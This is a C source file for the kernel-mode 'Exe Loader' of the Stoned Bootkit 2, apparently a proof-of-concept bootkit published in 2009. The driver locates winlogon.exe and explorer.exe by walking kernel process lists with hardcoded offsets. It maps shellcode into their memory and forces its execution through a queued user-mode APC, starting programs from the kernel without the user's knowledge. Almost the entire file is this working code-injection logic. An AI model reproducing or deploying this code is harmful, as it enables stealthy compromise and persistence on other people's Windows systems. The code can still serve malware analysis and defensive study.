
// Exe Loader for the Stoned Bootkit 2
// developed by Insecurity Systems InSec e.U.

// (C) 2009 Peter Kleissner
// published under the European Union Public License


/* includes and included definitions */

#include "ntifs.h"
#include "windef.h"


/* forward declarations */

NTSTATUS GsDriverEntry(void * ModuleAddress, int Nothing);
int SetOffsets();
int FindThread(char * ProcessName, PEPROCESS * Process, PETHREAD * Thread);
void StartUserModeProcess(void * Nothing);
int InstallUserModeApc(PKTHREAD TargetThread, PEPROCESS TargetProcess, int FileID);


/* other defines */

typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
} KAPC_ENVIRONMENT;

NTKERNELAPI VOID KeInitializeApc (
  IN PRKAPC Apc,
  IN PKTHREAD Thread,
  IN KAPC_ENVIRONMENT Environment,
  IN PKKERNEL_ROUTINE KernelRoutine,
  IN PKRUNDOWN_ROUTINE RundownRoutine OPTIONAL,
  IN PKNORMAL_ROUTINE NormalRoutine OPTIONAL,
  IN KPROCESSOR_MODE ApcMode,
  IN PVOID NormalContext
);

BOOLEAN
KeInsertQueueApc(
	PKAPC Apc,
	PVOID SystemArgument1,
	PVOID SystemArgument2,
	UCHAR unknown
	);

typedef struct {
  DWORD ExecutedApplication;
  DWORD Event;
  DWORD ImportsResolved;
} ShellcodeControlBlock;


/* shellcode for starting the user-mode process */

#pragma alloc_data(PAGE, bin_data1)
#pragma alloc_data(PAGE, SCB)
#include "Shellcode\Loader Shellcode.cpp"
ShellcodeControlBlock SCB;


/* public data */

DWORD OffsetAPL, OffsetIN, OffsetST, OffsetTLH, OffsetTLE, OffsetAlertable, OffsetApcState;     // offsets for OS specific structures (used by the whole program)
BOOLEAN IsWindows2000 = FALSE;



/* the real true driver entry point, name it always GsDriverEntry@8 */

NTSTATUS GsDriverEntry(void * ModuleAddress, int Nothing)
{
  HANDLE ThreadHandle;
  OBJECT_ATTRIBUTES ObjectAttributes;

  DbgPrint("\nYour PC is now Stoned!  ..again!\n\n");
  
  if (!SetOffsets())
    return STATUS_KEY_DELETED;

	SCB.ImportsResolved = FALSE;

  InitializeObjectAttributes(&ObjectAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
  PsCreateSystemThread(&ThreadHandle, STANDARD_RIGHTS_ALL, &ObjectAttributes, NULL, NULL, &StartUserModeProcess, NULL);
  
	ZwClose(ThreadHandle);
  return STATUS_SUCCESS;
}


/* sets the offsets for OS specific structures */

int SetOffsets()
{
/*  OS                      ActiveProcessLink   ImageName           SecurityToken   ThreadListHead  ThreadListEntry   Alertable   ApcState
                            EPROCESS            EPROCESS            EPROCESS        EPROCESS        ETHREAD           KTHREAD     KTHREAD
    Windows 2000            + A0h               ++ 15Ch             ++ 8Ch                                                    
    Windows XP SP0          + 88h               ++ ECh              ++ 40h                                                    
    Windows XP SP2          + 88h               ++ ECh              ++ 40h          ++ 108h         + 22Ch            + 164h      + 34h
    Windows Server 2003     + 88h               ++ CCh              ++ 40h                                                    
    Windows Server 2003 R2  + 98h               ++ CCh              ++ 40h              
    Windows Vista           + A0h               ++ ACh              ++ 40h              
    Windows Server 2008     + A0h               ++ ACh              ++ 40h              
    Windows 7               + B8h               ++ B4h              ++ 40h              
*/
  RTL_OSVERSIONINFOW OSVersionInfo;

  // set offsets according to the operating system (and above table)
  OSVersionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
  PsGetVersion(&OSVersionInfo.dwMajorVersion, &OSVersionInfo.dwMinorVersion, NULL, NULL);

  if (!(OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 0))      // RtlGetVersion() is only support on XP and higher
    RtlGetVersion(&OSVersionInfo);

  if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 0)         // Windows 2000
  { OffsetAPL = 0xA0; OffsetIN = 0x15C;  OffsetST = 0x8C; IsWindows2000 = TRUE; }
  else if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 1)    // Windows XP
  { OffsetAPL = 0x88; OffsetIN = 0xEC;  OffsetST = 0x40; OffsetTLH = 0x108; OffsetTLE = /*0x1B0*/0x22C; OffsetAlertable = 0x164; OffsetApcState = 0x34; }
  else if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 2)    // Windows Server 2003
  { OffsetAPL = 0x88; OffsetIN = 0xCC;  OffsetST = 0x40;  
    if (OSVersionInfo.dwBuildNumber == 3790)  OffsetAPL += 0x10;  }                   // Windows Server 2003 R2
  else if (OSVersionInfo.dwMajorVersion == 6 && OSVersionInfo.dwMinorVersion == 0)    // Windows Vista, Windows Server 2008
  { OffsetAPL = 0xA0; OffsetIN = 0xAC;  OffsetST = 0x40;  }
  else if (OSVersionInfo.dwMajorVersion == 6 && OSVersionInfo.dwMinorVersion == 1)    // Windows 7 RC
  { OffsetAPL = 0xB8; OffsetIN = 0xB4;  OffsetST = 0x40;  
    if (OSVersionInfo.dwBuildNumber == 7000)  OffsetIN = 0xAC;    }                   // Windows 7 Beta
  else
  {
    DbgPrint("Exe Loader is only supported on XP, Server 2003, Vista, Server 2008 and 7\n");
    return FALSE;
  }
  if (!(OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 1))
  {
    DbgPrint("Exe Loader is only supported on XP.\n");
    return FALSE;
  }

  return TRUE;  
}


/* starting the process */

void StartUserModeProcess(void * Nothing)
{
  PEPROCESS Process;
  PETHREAD Thread;
  BOOLEAN StartedProcessWinlogon = FALSE, StartedProcessExplorer = FALSE;

	LARGE_INTEGER x;
	x.QuadPart = -10000000I64;
  
  while (1)
  {
    KeDelayExecutionThread(KernelMode, FALSE, &x);
    
    if (!StartedProcessWinlogon && FindThread("winlogon.exe", &Process, &Thread))
    {
      if (InstallUserModeApc(Thread, Process, 1))   // RST-Server
      {
        StartedProcessWinlogon = TRUE;
        KeDelayExecutionThread(KernelMode, FALSE, &x);
      }
    }

    if (!StartedProcessExplorer && FindThread("explorer.exe", &Process, &Thread))
    {
      if (InstallUserModeApc(Thread, Process, 0))   // calc.exe
      {
        StartedProcessExplorer = TRUE;
        KeDelayExecutionThread(KernelMode, FALSE, &x);
      }
    }
    
    if (!StartedProcessWinlogon || !StartedProcessExplorer)
      DbgPrint("\n");
  }
}


/* looks for a user-mode thread of a process */

int FindThread(char * ProcessName, PEPROCESS * Process, PETHREAD * Thread)
{
  PLIST_ENTRY CurrentProcess, StartProcess;
  PLIST_ENTRY	ThreadList, StartThread;
  BOOLEAN FoundUserModeThread = FALSE;
  DWORD TcbAddress;

  *Process = NULL;
  *Thread = NULL;

  // find the correct process  
  StartProcess = CurrentProcess = (PLIST_ENTRY)((BYTE *)PsGetCurrentProcess() + OffsetAPL);

  do
  {
    DbgPrint("Found Process: %s\n", (char *)CurrentProcess + OffsetIN);
    if (_stricmp((char *)CurrentProcess + OffsetIN, ProcessName) == 0)
    {
      *Process = (PEPROCESS)((PBYTE)CurrentProcess - OffsetAPL);
      break;
    }
    
    CurrentProcess = CurrentProcess->Flink;
  } while (StartProcess != CurrentProcess);
  
  if (*Process == NULL)
    return FALSE;
  
  // find a user-mode thread
  StartThread = ThreadList = ((LIST_ENTRY *)( (BYTE *)CurrentProcess + OffsetTLH ))->Flink;

  do
  {
    *Thread = (PETHREAD)((PBYTE)ThreadList - OffsetTLE);
    if (!IsWindows2000)                                     // > Windows XP
    {
      if (!PsIsSystemThread(*Thread))
        {
          DbgPrint("found a motherfucking Process 0x%x, Thread : 0x%x\n", *Process, *Thread);
        return TRUE;
      }
    }
    else                                                    // Windows 2000
    {
      TcbAddress = *(DWORD *)((PBYTE)(*Thread) + 0x20);
      if (TcbAddress && (void *)TcbAddress < MmSystemRangeStart)
        return TRUE;
    }

    ThreadList = ThreadList->Flink;
  } while (ThreadList != StartThread);
  
  DbgPrint("No user-mode thread found\n");
  return FALSE;
}


/* APC kernel callback  - setting the Shellcode Control Block */
void * Mapped_SCB = NULL;

void KernelRoutine(PKAPC Apc, PKNORMAL_ROUTINE *NormalRoutine, IN OUT PVOID *NormalContext,	IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2)
{
  *NormalContext = Mapped_SCB;
  DbgPrint("Setting parameter to 0x%x\n", Mapped_SCB);
}


/* puts the APC to the user mode thread */

int InstallUserModeApc(PETHREAD TargetThread, PEPROCESS TargetProcess, int FileID)
{
  KAPC KApc;
  KAPC_STATE ApcState;
	PMDL pMDL, pMDL_SCB;
  void * MappedAddress = NULL;
  HANDLE hEvent;
	NTSTATUS Status;
	LARGE_INTEGER LI={0};
	
	DbgPrint("Process 0x%x, Thread : 0x%x\n", TargetProcess, TargetThread);
	SCB.ExecutedApplication = FileID;

	pMDL = IoAllocateMdl(&bin_data1, sizeof(bin_data1), FALSE, FALSE, NULL);
	pMDL_SCB = IoAllocateMdl(&SCB, sizeof(ShellcodeControlBlock), FALSE, FALSE, NULL);
	if (!pMDL || !pMDL_SCB)
	{
	  DbgPrint("Error with IoAllocateMdl\n");
		return FALSE;
	}
	
	__try
	{
		MmProbeAndLockPages(pMDL, KernelMode, IoWriteAccess);
		MmProbeAndLockPages(pMDL_SCB, KernelMode, IoWriteAccess);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmProbeAndLockPages\n");
		return FALSE;
	}
	
  KeStackAttachProcess(TargetProcess, &ApcState);

	__try
	{
  	MappedAddress = MmMapLockedPagesSpecifyCache(pMDL, UserMode, MmCached, NULL, FALSE, NormalPagePriority);
  	Mapped_SCB = MmMapLockedPagesSpecifyCache(pMDL_SCB, UserMode, MmCached, NULL, FALSE, NormalPagePriority);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		MmUnlockPages(pMDL);
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmMapLockedPagesSpecifyCache\n");
		return FALSE;
	}
	
	if (!MappedAddress || !Mapped_SCB)
	{
		KeUnstackDetachProcess(&ApcState);
		MmUnlockPages(pMDL);
		IoFreeMdl(pMDL);
		DbgPrint("Error with MmMapLockedPagesSpecifyCache\n");
		return FALSE;
	}

	DbgPrint("pMDL : 0x%p, &NormalRoutine : 0x%x, MappedAddress: 0x%x and 0x%x\n", pMDL, (PVOID)&bin_data1, MappedAddress, Mapped_SCB);

	Status = ZwCreateEvent(&hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE);
	if (!NT_SUCCESS(Status))
	{	
		KeUnstackDetachProcess(&ApcState);
		MmUnlockPages(pMDL);
		IoFreeMdl(pMDL);
		DbgPrint("Error with ZwCreateEvent : 0x%x\n", Status);
		return FALSE;
	}
	SCB.Event = (DWORD)hEvent;

	LI.QuadPart = -20000000;
	KeDelayExecutionThread(KernelMode, FALSE, &LI);
	
	// all the magic...
	KeInitializeApc(&KApc, (PKTHREAD)TargetThread, CurrentApcEnvironment, &KernelRoutine, NULL, MappedAddress, UserMode, NULL);

//  *((PBYTE)TargetThread + OffsetAlertable) = 1;
  ((KAPC_STATE *)((PBYTE)TargetThread + OffsetApcState))->UserApcPending = 1;

	DbgPrint("Queuing APC : 0x%x\n", &KApc);
	DbgPrint("Mapped SCB 0x%x and event 0x%x\n", Mapped_SCB, hEvent);
	if(!KeInsertQueueApc(&KApc, /*Mapped_SCB*/NULL, NULL, 0))		
	{
		DbgPrint("Error with KeInsertQueueApc\n");
		return FALSE;
	}

	DbgPrint("Waiting for execution..");
	Status = ZwWaitForSingleObject(hEvent, FALSE, NULL);				
	if(!NT_SUCCESS(Status))
	{
		DbgPrint("Error with ZwWaitForSingleObject : 0x%x\n", Status);
		return FALSE;
	}

  ZwClose(hEvent);
/*  MmUnmapLockedPages(MappedAddress, pMDL);
  MmUnmapLockedPages(Mapped_SCB, pMDL_SCB);
	MmUnlockPages(pMDL_SCB);
	MmUnlockPages(pMDL);
	IoFreeMdl(pMDL_SCB);
	IoFreeMdl(pMDL);*/
	KeUnstackDetachProcess(&ApcState);
										
	DbgPrint("Executed APC successfully.\n");

  return TRUE;
}

